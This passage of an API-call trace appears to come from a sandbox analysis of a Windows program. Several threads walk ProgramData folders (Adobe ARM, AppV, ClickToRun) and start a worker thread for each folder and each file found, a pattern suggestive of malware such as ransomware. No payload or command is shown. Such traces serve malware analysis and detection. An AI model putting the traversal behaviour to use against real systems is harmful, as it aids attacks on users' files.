	[0077.787] wcscat (in: _Dest=0x2d7a448, _Source="Reader_15.007.20033" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_15.007.20033"
	[0077.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7a448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa24
	[0077.788] FindNextFileW (in: hFindFile=0x2dad0b8, lpFindFileData=0x2e147c8 | out: lpFindFileData=0x2e147c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xa7140105, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_15.023.20070", cAlternateFileName="READER~2.200")) returned 1
	[0077.788] wcscmp (_String1="Reader_15.023.20070", _String2=".") returned 1
	[0077.788] wcscmp (_String1="Reader_15.023.20070", _String2="..") returned 1
	[0077.788] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x2d7a170
	[0077.788] wcscpy (in: _Dest=0x2d7a170, _Source="C:\\ProgramData\\Adobe\\ARM" | out: _Dest="C:\\ProgramData\\Adobe\\ARM") returned="C:\\ProgramData\\Adobe\\ARM"
	[0077.788] wcscat (in: _Dest=0x2d7a170, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\") returned="C:\\ProgramData\\Adobe\\ARM\\"
	[0077.788] wcscat (in: _Dest=0x2d7a170, _Source="Reader_15.023.20070" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_15.023.20070"
	[0077.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7a170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e4
	[0077.788] FindNextFileW (in: hFindFile=0x2dad0b8, lpFindFileData=0x2e147c8 | out: lpFindFileData=0x2e147c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S", cAlternateFileName="")) returned 1
	[0077.788] wcscmp (_String1="S", _String2=".") returned 1
	[0077.789] wcscmp (_String1="S", _String2="..") returned 1
	[0077.789] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2dad078
	[0077.789] wcscpy (in: _Dest=0x2dad078, _Source="C:\\ProgramData\\Adobe\\ARM" | out: _Dest="C:\\ProgramData\\Adobe\\ARM") returned="C:\\ProgramData\\Adobe\\ARM"
	[0077.789] wcscat (in: _Dest=0x2dad078, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\") returned="C:\\ProgramData\\Adobe\\ARM\\"
	[0077.789] wcscat (in: _Dest=0x2dad078, _Source="S" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\S") returned="C:\\ProgramData\\Adobe\\ARM\\S"
	[0077.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dad078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430
	[0077.789] FindNextFileW (in: hFindFile=0x2dad0b8, lpFindFileData=0x2e147c8 | out: lpFindFileData=0x2e147c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S", cAlternateFileName="")) returned 0
	[0077.789] FindClose (in: hFindFile=0x2dad0b8 | out: hFindFile=0x2dad0b8) returned 1
	[0077.791] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e147c8) returned 1
	[0077.791] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daccf8) returned 1
	[0077.791] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70f00) returned 1

Thread:
	id = 294
	os_tid = 0xe88

	[0076.825] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73a98
	[0076.825] wcscpy (in: _Dest=0x2d73a98, _Source="C:\\ProgramData\\Microsoft\\AppV" | out: _Dest="C:\\ProgramData\\Microsoft\\AppV") returned="C:\\ProgramData\\Microsoft\\AppV"
	[0076.825] wcscat (in: _Dest=0x2d73a98, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\AppV\\") returned="C:\\ProgramData\\Microsoft\\AppV\\"
	[0076.825] wcscat (in: _Dest=0x2d73a98, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\AppV\\*") returned="C:\\ProgramData\\Microsoft\\AppV\\*"
	[0076.825] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e14a30
	[0076.825] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\AppV\\*", lpFindFileData=0x2e14a30 | out: lpFindFileData=0x2e14a30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d3d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dac8b8
	[0076.826] wcscmp (_String1=".", _String2=".") returned 0
	[0076.826] FindNextFileW (in: hFindFile=0x2dac8b8, lpFindFileData=0x2e14a30 | out: lpFindFileData=0x2e14a30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d3d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.826] wcscmp (_String1="..", _String2=".") returned 1
	[0076.826] wcscmp (_String1="..", _String2="..") returned 0
	[0076.826] FindNextFileW (in: hFindFile=0x2dac8b8, lpFindFileData=0x2e14a30 | out: lpFindFileData=0x2e14a30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup", cAlternateFileName="")) returned 1
	[0076.826] wcscmp (_String1="Setup", _String2=".") returned 1
	[0076.826] wcscmp (_String1="Setup", _String2="..") returned 1
	[0076.826] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4f48340
	[0076.826] wcscpy (in: _Dest=0x4f48340, _Source="C:\\ProgramData\\Microsoft\\AppV" | out: _Dest="C:\\ProgramData\\Microsoft\\AppV") returned="C:\\ProgramData\\Microsoft\\AppV"
	[0076.826] wcscat (in: _Dest=0x4f48340, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\AppV\\") returned="C:\\ProgramData\\Microsoft\\AppV\\"
	[0076.826] wcscat (in: _Dest=0x4f48340, _Source="Setup" | out: _Dest="C:\\ProgramData\\Microsoft\\AppV\\Setup") returned="C:\\ProgramData\\Microsoft\\AppV\\Setup"
	[0077.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4f48340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa3c
	[0077.007] FindNextFileW (in: hFindFile=0x2dac8b8, lpFindFileData=0x2e14a30 | out: lpFindFileData=0x2e14a30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup", cAlternateFileName="")) returned 0
	[0077.007] FindClose (in: hFindFile=0x2dac8b8 | out: hFindFile=0x2dac8b8) returned 1
	[0077.007] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e14a30) returned 1
	[0077.007] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73a98) returned 1
	[0077.007] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d72f58) returned 1

Thread:
	id = 295
	os_tid = 0xf38

	[0076.826] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2dac688
	[0076.826] wcscpy (in: _Dest=0x2dac688, _Source="C:\\ProgramData\\Microsoft\\ClickToRun" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0076.826] wcscat (in: _Dest=0x2dac688, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0076.826] wcscat (in: _Dest=0x2dac688, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\*"
	[0076.826] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e14c98
	[0076.826] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\*", lpFindFileData=0x2e14c98 | out: lpFindFileData=0x2e14c98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c4413a9, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c4413a9, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dac8f8
	[0076.827] wcscmp (_String1=".", _String2=".") returned 0
	[0076.827] FindNextFileW (in: hFindFile=0x2dac8f8, lpFindFileData=0x2e14c98 | out: lpFindFileData=0x2e14c98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c4413a9, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c4413a9, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.827] wcscmp (_String1="..", _String2=".") returned 1
	[0076.827] wcscmp (_String1="..", _String2="..") returned 0
	[0076.827] FindNextFileW (in: hFindFile=0x2dac8f8, lpFindFileData=0x2e14c98 | out: lpFindFileData=0x2e14c98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", cAlternateFileName="0D0D4E~1")) returned 1
	[0076.827] wcscmp (_String1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", _String2=".") returned 1
	[0076.827] wcscmp (_String1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", _String2="..") returned 1
	[0076.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x2e2a858
	[0076.827] wcscpy (in: _Dest=0x2e2a858, _Source="C:\\ProgramData\\Microsoft\\ClickToRun" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0076.827] wcscat (in: _Dest=0x2e2a858, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0076.827] wcscat (in: _Dest=0x2e2a858, _Source="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4"
	[0076.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e2a858, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c
	[0076.997] FindNextFileW (in: hFindFile=0x2dac8f8, lpFindFileData=0x2e14c98 | out: lpFindFileData=0x2e14c98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", cAlternateFileName="19B111~1")) returned 1
	[0076.997] wcscmp (_String1="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", _String2=".") returned 1
	[0076.997] wcscmp (_String1="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", _String2="..") returned 1
	[0076.997] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x2e2b118
	[0076.997] wcscpy (in: _Dest=0x2e2b118, _Source="C:\\ProgramData\\Microsoft\\ClickToRun" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0076.997] wcscat (in: _Dest=0x2e2b118, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0076.997] wcscat (in: _Dest=0x2e2b118, _Source="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0"
	[0076.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e2b118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa94
	[0076.998] FindNextFileW (in: hFindFile=0x2dac8f8, lpFindFileData=0x2e14c98 | out: lpFindFileData=0x2e14c98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", cAlternateFileName="201EB7~1")) returned 1
	[0076.998] wcscmp (_String1="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", _String2=".") returned 1
	[0076.998] wcscmp (_String1="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", _String2="..") returned 1
	[0076.998] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x2e2b578
	[0076.998] wcscpy (in: _Dest=0x2e2b578, _Source="C:\\ProgramData\\Microsoft\\ClickToRun" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0076.998] wcscat (in: _Dest=0x2e2b578, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0076.998] wcscat (in: _Dest=0x2e2b578, _Source="201EB7DF-C721-4B8B-9C81-A09DE7F931E6" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6"
	[0076.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e2b578, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa98
	[0076.999] FindNextFileW (in: hFindFile=0x2dac8f8, lpFindFileData=0x2e14c98 | out: lpFindFileData=0x2e14c98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3dbb3c9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8512127a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8512127a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.0.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1
	[0076.999] wcscmp (_String1="DeploymentConfig.0.xml", _String2=".") returned 1
	[0076.999] wcscmp (_String1="DeploymentConfig.0.xml", _String2="..") returned 1
	[0076.999] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bc810
	[0076.999] wcscpy (in: _Dest=0x47bc810, _Source="C:\\ProgramData\\Microsoft\\ClickToRun" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0076.999] wcscat (in: _Dest=0x47bc810, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0076.999] wcscat (in: _Dest=0x47bc810, _Source="DeploymentConfig.0.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml"
	[0076.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bc810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa9c
	[0077.000] FindNextFileW (in: hFindFile=0x2dac8f8, lpFindFileData=0x2e14c98 | out: lpFindFileData=0x2e14c98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b22dc95, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa011b19, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfa011b19, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x7b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.1.xml", cAlternateFileName="DEPLOY~3.XML")) returned 1
	[0077.000] wcscmp (_String1="DeploymentConfig.1.xml", _String2=".") returned 1
	[0077.000] wcscmp (_String1="DeploymentConfig.1.xml", _String2="..") returned 1
	[0077.000] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bcc10
	[0077.000] wcscpy (in: _Dest=0x47bcc10, _Source="C:\\ProgramData\\Microsoft\\ClickToRun" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0077.000] wcscat (in: _Dest=0x47bcc10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0077.000] wcscat (in: _Dest=0x47bcc10, _Source="DeploymentConfig.1.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml"
	[0077.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bcc10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa0
	[0077.001] FindNextFileW (in: hFindFile=0x2dac8f8, lpFindFileData=0x2e14c98 | out: lpFindFileData=0x2e14c98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534ee362, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3c4413a9, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c4413a9, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.2.xml", cAlternateFileName="DEPLOY~2.XML")) returned 1
	[0077.001] wcscmp (_String1="DeploymentConfig.2.xml", _String2=".") returned 1
	[0077.001] wcscmp (_String1="DeploymentConfig.2.xml", _String2="..") returned 1
	[0077.001] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bca90
	[0077.001] wcscpy (in: _Dest=0x47bca90, _Source="C:\\ProgramData\\Microsoft\\ClickToRun" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0077.001] wcscat (in: _Dest=0x47bca90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0077.001] wcscat (in: _Dest=0x47bca90, _Source="DeploymentConfig.2.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml"
	[0077.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bca90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa4
	[0077.002] FindNextFileW (in: hFindFile=0x2dac8f8, lpFindFileData=0x2e14c98 | out: lpFindFileData=0x2e14c98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineData", cAlternateFileName="MACHIN~1")) returned 1
	[0077.002] wcscmp (_String1="MachineData", _String2=".") returned 1
	[0077.002] wcscmp (_String1="MachineData", _String2="..") returned 1
	[0077.002] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733e80
	[0077.002] wcscpy (in: _Dest=0x4733e80, _Source="C:\\ProgramData\\Microsoft\\ClickToRun" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0077.002] wcscat (in: _Dest=0x4733e80, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0077.002] wcscat (in: _Dest=0x4733e80, _Source="MachineData" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData"
	[0077.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4733e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa8
	[0077.003] FindNextFileW (in: hFindFile=0x2dac8f8, lpFindFileData=0x2e14c98 | out: lpFindFileData=0x2e14c98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProductReleases", cAlternateFileName="PRODUC~1")) returned 1
	[0077.003] wcscmp (_String1="ProductReleases", _String2=".") returned 1
	[0077.003] wcscmp (_String1="ProductReleases", _String2="..") returned 1
	[0077.003] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x68) returned 0x2e17ce8
	[0077.003] wcscpy (in: _Dest=0x2e17ce8, _Source="C:\\ProgramData\\Microsoft\\ClickToRun" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0077.003] wcscat (in: _Dest=0x2e17ce8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0077.003] wcscat (in: _Dest=0x2e17ce8, _Source="ProductReleases" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases"
	[0077.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e17ce8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaac
	[0077.004] FindNextFileW (in: hFindFile=0x2dac8f8, lpFindFileData=0x2e14c98 | out: lpFindFileData=0x2e14c98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1
	[0077.004] wcscmp (_String1="UserData", _String2=".") returned 1
	[0077.004] wcscmp (_String1="UserData", _String2="..") returned 1
	[0077.004] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47342f8
	[0077.004] wcscpy (in: _Dest=0x47342f8, _Source="C:\\ProgramData\\Microsoft\\ClickToRun" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0077.004] wcscat (in: _Dest=0x47342f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0077.004] wcscat (in: _Dest=0x47342f8, _Source="UserData" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData"
	[0077.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47342f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab0
